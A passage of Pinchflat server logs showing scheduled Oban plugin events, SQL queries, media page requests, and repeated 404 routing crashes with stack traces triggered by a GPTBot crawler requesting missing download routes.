02:06:43.741 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.233 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:13.743 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:26.911 [info] GET /sources/2/media/805/force_download 02:07:26.912 [debug] QUERY OK source="settings" db=0.3ms idle=1433.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:26.913 [debug] QUERY OK source="settings" db=0.2ms idle=1433.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:07:26.913 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:07:26.913 [error] #PID<0.239316.0> running PinchflatWeb.Endpoint (connection #PID<0.239315.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/2/media/805/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/805/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/805/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37534}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239316.0>, params: %{}, path_info: ["sources", "2", "media", "805", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/2/media/805/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAeAcb-roEQQoMABZfD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/805/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37534}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/805/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239315.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/805/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37534}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239316.0>, params: %{}, path_info: ["sources", "2", "media", "805", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoe (truncated) 02:07:43.745 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.234 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:13.747 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:31.989 [info] GET /sources/2/media/811/force_download 02:08:31.990 [debug] QUERY OK source="settings" db=0.4ms idle=510.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:31.991 [debug] QUERY OK source="settings" db=0.2ms idle=511.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:31.991 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:08:31.992 [error] #PID<0.239323.0> running PinchflatWeb.Endpoint (connection #PID<0.239322.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/2/media/811/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/811/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/811/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59232}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239323.0>, params: %{}, path_info: ["sources", "2", "media", "811", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/2/media/811/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAeEO3ymRlveYEABZiD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/811/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59232}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/811/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/811/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59232}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239323.0>, params: %{}, path_info: ["sources", "2", "media", "811", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoe (truncated) 02:08:43.749 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.235 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:13.751 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:36.287 [info] GET /media/d3e6fe0d-90ef-4183-a500-3c487334a666/stream 02:09:36.287 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d3e6fe0d-90ef-4183-a500-3c487334a666", "v" => "1728161323"} Pipelines: [:maybe_basic_auth] 02:09:36.288 [debug] QUERY OK source="media_items" db=0.4ms idle=808.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d3e6fe0d-90ef-4183-a500-3c487334a666"] 02:09:36.288 [debug] Invalid range request for media item: d3e6fe0d-90ef-4183-a500-3c487334a666 - serving full file 02:09:36.288 [info] Sent 200 in 1ms 02:09:43.753 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.236 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:13.755 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:40.034 [info] GET /sources/3/media/3299 02:10:40.034 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3299", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:10:40.035 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=556.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3299] 02:10:40.036 [debug] QUERY OK source="tasks" db=0.2ms idle=556.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3299] 02:10:40.037 [debug] QUERY OK source="sources" db=0.5ms idle=557.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:10:40.037 [debug] QUERY OK source="settings" db=0.1ms idle=558.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:40.038 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=208.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:40.039 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:40.040 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:10:40.044 [info] Sent 200 in 9ms 02:10:43.757 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.237 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:13.759 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:40.281 [info] GET /sources/3/media/3302 02:11:40.281 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3302", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:11:40.282 [debug] QUERY OK source="media_items" db=0.4ms idle=803.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3302] 02:11:40.283 [debug] QUERY OK source="tasks" db=0.3ms idle=804.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3302] 02:11:40.284 [debug] QUERY OK source="sources" db=0.5ms idle=804.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:11:40.284 [debug] QUERY OK source="settings" db=0.1ms idle=805.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:40.285 [debug] QUERY OK source="settings" db=0.2ms idle=335.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:40.286 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:40.287 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:11:40.289 [info] Sent 200 in 7ms 02:11:43.761 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.238 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:13.763 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:39.561 [info] GET /sources/3/media/3309 02:12:39.562 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3309", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:12:39.563 [debug] QUERY OK source="media_items" db=0.4ms idle=494.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3309] 02:12:39.564 [debug] QUERY OK source="tasks" db=0.2ms idle=84.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3309] 02:12:39.564 [debug] QUERY OK source="sources" db=0.5ms idle=84.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:12:39.565 [debug] QUERY OK source="settings" db=0.2ms idle=85.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:39.566 [debug] QUERY OK source="settings" db=0.4ms idle=86.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:39.567 [debug] QUERY OK source="settings" db=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:39.568 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:12:39.571 [info] 